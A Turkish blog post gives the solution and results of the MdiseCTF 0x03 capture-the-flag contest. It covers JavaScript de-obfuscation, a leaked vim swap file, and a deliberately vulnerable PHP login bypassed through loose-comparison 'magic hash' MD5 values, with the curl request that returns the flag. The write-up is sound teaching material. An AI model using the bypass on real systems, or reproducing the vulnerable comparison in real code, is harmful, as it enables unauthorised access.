MdiseCTF 0x03 – CTF Yarışması Sonuçları

Merhaba

Geçtiğimiz günlerde düzenlenen ve CTF serisinin üçüncüsü olan Picus Security tarafından ödüllü MdiseCTF 0x03 yarışması sona erdi. Bu yarışmaya toplamda 188 kişi katılım gösterdi. Doğru sonuca ise toplamda 9 adet yarışmacı ulaştı ve sonuçlarını mail yolu ile bana gönderdi. Göstermiş oldukları destek için Picus Security’e tekrardan teşekkürler. Şimdi gelelim çözümlere ve Raspberry Pi kazanan yarışmacıya.

Çözüm

Yarışmanın duyurulduğu yazıda (https://www.mehmetince.net/mdisectf-0x03-raspberry-pi-odullu-ctf-yarismasi-yayinda/) aşağıdaki javascript kodu paylaşılmıştı.

var _0xc7f0=["\x3D\x3D\x51\x62\x76\x4E\x6D\x4C\x6A\x56\x32\x63\x70\x52\x57\x62\x75\x4D\x44\x4D\x34\x42\x7A\x4C\x76\x6F\x44\x63\x30\x52\x48\x61","\x53\x61\x79\x48\x65\x6C\x6C\x6F","\x47\x65\x74\x43\x6F\x75\x6E\x74","\x59\x6F\x75\x72\x20\x64\x75\x74\x79\x20\x3A\x20","\x74\x68\x65\x2D\x71\x75\x69\x65\x74\x65\x72\x2D\x79\x6F\x75\x2D\x62\x65\x63\x6F\x6D\x65\x2D\x74\x68\x65\x2D\x6D\x6F\x72\x65\x2D\x79\x6F\x75\x2D\x63\x61\x6E\x2D\x68\x65\x61\x72"];function NewObject(_0x6270x2){var _0x6270x3=0;var _0x6270x4=_0xc7f0[0];this[_0xc7f0[1]]=function(_0x6270x5){_0x6270x3++;alert(_0x6270x2+_0x6270x5);};this[_0xc7f0[2]]=function(){return _0x6270x3};}var obj= new NewObject(_0xc7f0[3]);obj.SayHello(_0xc7f0[4]);

Bu kod okunabilir hale çevirildiğinde ise aşağıdaki gibi olmaktaydı.

var _0xc7f0 = ["\x3D\x3D\x51\x62\x76\x4E\x6D\x4C\x6A\x56\x32\x63\x70\x52\x57\x62\x75\x4D\x44\x4D\x34\x42\x7A\x4C\x76\x6F\x44\x63\x30\x52\x48\x61", "\x53\x61\x79\x48\x65\x6C\x6C\x6F", "\x47\x65\x74\x43\x6F\x75\x6E\x74", "\x59\x6F\x75\x72\x20\x64\x75\x74\x79\x20\x3A\x20", "\x74\x68\x65\x2D\x71\x75\x69\x65\x74\x65\x72\x2D\x79\x6F\x75\x2D\x62\x65\x63\x6F\x6D\x65\x2D\x74\x68\x65\x2D\x6D\x6F\x72\x65\x2D\x79\x6F\x75\x2D\x63\x61\x6E\x2D\x68\x65\x61\x72"];

function NewObject(_0x6270x2) {
    var _0x6270x3 = 0;
    var _0x6270x4 = _0xc7f0[0];
    this[_0xc7f0[1]] = function(_0x6270x5) {
        _0x6270x3++;
        alert(_0x6270x2 + _0x6270x5);
    };
    this[_0xc7f0[2]] = function() {
        return _0x6270x3
    };
}
var obj = new NewObject(_0xc7f0[3]);
obj.SayHello(_0xc7f0[4]);

Belli ki  yarışma için hazırlanan bu Javascript kodu obfuscation tekniği ile okunabilirliği azaltılmıştı. Bu kodu console’a yazıp anazli ettiğimizde aşağıdaki array dikkat çekmekteydi.

JavascriptArray içerisindeki dikkat çekici nokta ise tersten yazılmış olan base64 kodu oldu. Bu kod aşağıdaki şekilde çözümlendiğinde bir sonraki adıma geçiş tamamlanacaktı.

>>> from base64 import b64decode as d
>>> s = "==QbvNmLjV2cpRWbuMDM4BzLvoDc0RHa"[::-1]
>>> d(s)
'http://0x03.mdisec.com'

Bu noktadan sonra CTF, http://0x03.mdisec.com adresinde ki web uygulaması üzerinden devam edecekti.

Picus Security Login

http://0x03.mdisec.com adresinde bir adet login sayfası çıkmaktaydı. Bu aşama yarışmacılar tarafından bol bol SQLMap’e maruz bırakılan nokta oldu. Yarışmacıların %99’unun takıldığı yer ise bu login sayfası oldu. Ta ki aşağıdaki ip ucu yayınlanana kadar.

Vi editoru herhangi bir dosyayı düzenlemeden önce o dosyanın backup’ını oluşturur. Eğer düzenleme işlemi başarıyla tamamlanmaz ise (:wq! komutu), backup dosyası gizli dosya olarak hedefte dizinde kalmaktadır. Buda bilgi ifşasına neden olan ve web uygulama testi gerçekleştiren arkadaşlar tarafından genel olarak bilinen/bilinmesi gereken bir durumdur.

http://0x03.mdisec.com/.index.php.swp

adresine ulaşım sağlandığında aşağıdaki kaynak koda ulaşılmış olacaktır.

<?php
/**
 * Created by PhpStorm.
 * User: trincem
 * Date: 10/22/15
 * Time: 11:56 AM
 */

require("flag.php");

class Authentication{
    const KEY = "0e86982004367237686113517103584116354523";
    var $cred = "";
    function __construct($cred){
        $this->cred = md5($cred);
    }

    public function check(){
        if($this->cred == self::KEY)
            return TRUE;
        return False;
    }
}
if(isset($_GET['auth'])) {
    $authenticator = new Authentication($_GET['auth']);
    $result = $authenticator->check();
    if($result){header("Flag : ".get_flag());}
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
    <script src="https://code.jquery.com/jquery-2.1.4.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
    <meta charset="UTF-8">
    <title>Picus Security Authentication</title>
    <style>
        .form-signin{max-width:330px;padding:15px;margin:0 auto}.form-signin .form-signin-heading,.form-signin .checkbox{margin-bottom:10px}.form-signin .checkbox{font-weight:400}.form-signin .form-control{position:relative;font-size:16px;height:auto;padding:10px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.form-signin .form-control:focus{z-index:2}.form-signin input[type="text"]{margin-bottom:-1px;border-bottom-left-radius:0;border-bottom-right-radius:0}.form-signin input[type="password"]{margin-bottom:10px;border-top-left-radius:0;border-top-right-radius:0}.account-wall{margin-top:20px;padding:40px 0 20px;background-color:#f7f7f7;-moz-box-shadow:0 2px 2px rgba(0,0,0,0.3);-webkit-box-shadow:0 2px 2px rgba(0,0,0,0.3);box-shadow:0 2px 2px rgba(0,0,0,0.3)}.login-title{color:#555;font-size:18px;font-weight:400;display:block}.profile-img{width:96px;height:96px;margin:0 auto 10px;display:block;-moz-border-radius:50%;-webkit-border-radius:50%;border-radius:50%}.need-help{margin-top:10px}.new-account{display:block;margin-top:10px}
    </style>
</head>
<body>
<div class="container">
    <div class="row">
        <div class="col-sm-6 col-md-4 col-md-offset-4">
            <h1 class="text-center login-title">Sign in to continue to Picus Security Panel</h1>
            <div class="account-wall">
                <a href="http://picussecurity.com" target="_blank" "><img class="profile-img" src="https://avatars0.githubusercontent.com/u/8177886?v=3&s=200"
                     alt=""></a>
                <form class="form-signin" method="GET">
                    <input type="password" name="auth" class="form-control" placeholder="Password">
                    <button class="btn btn-lg btn-primary btn-block" type="submit" id="submit">
                        Sign in</button>
                    <?php
                    if(isset($result) && $result === FALSE){
                    ?>
                    <label class="text-center text-warning" id="message">
                        Auth code is wrong. Please use correct code!
                    </label>
                    <?php } else if(isset($result) && $result === TRUE){?>
                    <label class="text-center text-success" id="message">
                        Gratz..! I've already shared my flag with you;)
                    </label>
                    <?php } ?>
                </form>
            </div>
        </div>
    </div>
</div>
</body>
</html>

Kod adım adım şunu gerçekleştirmektedir.

1 – Kullanıcının form aracılığı ile gönderdiği parolayı al.

2 – Eğer parolanın md5’i uygulama tarafında belirlenen sabit değer ile aynı ise flag’i header üzerinden paylaş.

Bu noktada dikkat edilmesi gereken şey, kod tarafında ki KEY değerinin 32 karakterden uzun olduğudur. Yani MD5 değeri değildir! Akıllara şu soru doğrudan gelecektir. “Md5’i alınan bir değer uzunluğu 40 karakter olan KEY değeri ile if’e girerse nasıl sonuç TRUE dönebilir ki ? “ Bu aslında benim ikinci ipucunu tweet atmak yerine kod içerisine koyma kararı almamdan kaynaklanmakta. ( Teşekkürler Cihat)

PHP Madness

PHP son derece ilginç bir dil. Bu ilginçliğe dikkat çekmek adına, CTF’imizde PHP’nin eşitlik sorgulamalarında ki bir detayı ele aldık. Aşağıdaki kodu dikkatlice okuyunuz lütfen.

<?php
if("0e0" == "0e1")
{
     echo "TRUE";
}

Mantıken 0e0 değeri ile 0e1 değeri eşit olmadığı için sonucun TRUE olmaması beklenir. Ama malesef PHP sonucu TRUE döndürmektedir.

➜ php test.php 
TRUE

Bunun sebebi ise “php scientific notation” da gizli. Aslında “0e86982004367237686113517103584116354523” değeri PHP tarafından 0*10^869… olarak algılanıyordu. Doğru kodu == yerine PHP’de ki === karşılaştırması ile yazılmış olması gerekirdi. Bu bilginin ışığında  tek ihtiyacımız olan sıfır ve “e” harfleri ile başlayıp son karakterine kadar rakamlardan oluşan bir md5 hash değerine sahip string bulmaktır. Daha sade bir ifade ile

<?php
if("0e86982004367237686113517103584116354523" == "BIZIM DEĞER")
{
     echo "TRUE";
}

BIZIM DEĞER dediğimiz alanda eğer 0e ile başlayıp kalan 30 karakteride integer olan bir MD5 değeri üretebilirsek sonucu TRUE döndürmeyi başarmış olacağız. Bu değerleri üretmek görünürde zor gibi olsada, internet üzerinden yapılacak bir araştırma ile en azından aşağıdaki iki değere ulaşılabilmekteydi.

➜  php -r "echo md5('240610708');"
0e462097431906509019562988736854%                                          
➜  php -r "echo md5('QNKCDZO');" 
0e830400451993494058024219903391%

Sonuç olarak aşağıdaki GET request’i çözüme başarıyla ulaşmanızı sağlamış olacaktı.

➜  ~  curl -X GET "http://0x03.mdisec.com/?auth=240610708" --head  
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2015 06:57:19 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Flag : flag{MdiseCTF0x03PicuSecurityWINNER}
Vary: Accept-Encoding
Content-Length: 2535
Content-Type: text/html

Değerlendirme Süreci ve Başvuranlar

Değerlendirme süreci şu şekilde olmakta.

  1. Sadece ve sadece tam/doğru çözümü gönderen kişiler seçilir.
  2. Çözümü ilk gönderen kişi 100 puan, ikinci gönderen kişi 95 puan şeklinde azalan değerler çözüm gönderen yarışmacılara sırasıyla verilir. En son ise 50 sabitlenecektir. Bu değer T ile ifade edilir.
  3. Yazılan raporlara değerlendirme ekibi tarafından 100 üzerinden puan verilir. Bu değer R ile ifade edilir.
  4. T değerinin %25,  R değerlerinin %30’u alınır.
  5. Her katılımcı için 0-20 arasından random seçilen değerin %50’si alınır.
  6. Bu üç değer toplanır ve
  7. En yüksek puanı alan yarışmayı kazanır.

Kazanan Kişi : Mert Arisoy!

{'Report': 70, 'Random': 8.0, 'Final': 54.0, 'name': 'Cihat OGE', 'Time': 100}
{'Report': 70, 'Random': 7.0, 'Final': 51.75, 'name': 'Kadir Cetinkaya', 'Time': 95}
{'Report': 90, 'Random': 10.0, 'Final': 59.5, 'name': 'Mert Arisoy', 'Time': 90}
{'Report': 80, 'Random': 6.5, 'Final': 51.75, 'name': 'Omer Citak', 'Time': 85}
{'Report': 85, 'Random': 3.0, 'Final': 48.5, 'name': 'Evren Yalcin', 'Time': 80}
{'Report': 70, 'Random': 5.5, 'Final': 45.25, 'name': 'Oguzhan Uzman', 'Time': 75}
{'Report': 70, 'Random': 7.0, 'Final': 45.5, 'name': 'Deniz Parlak', 'Time': 70}
{'Report': 75, 'Random': 3.5, 'Final': 42.25, 'name': 'Harun Gulec', 'Time': 65}
{'Report': 80, 'Random': 1.0, 'Final': 40.0, 'name': 'Arjen Kilic', 'Time': 60}
{'Report': 85, 'Random': 9.0, 'Final': 48.25, 'name': 'Robin Dimyanoglu', 'Time': 55}

WINNER IS
{'Report': 90, 'Random': 10.0, 'Final': 59.5, 'name': 'Mert Arisoy', 'Time': 90}

Katılan herkese teşekkürler. Lütfen görüş ve düşüncelerinizi twitter yerine konuya yorum olarak yapınız.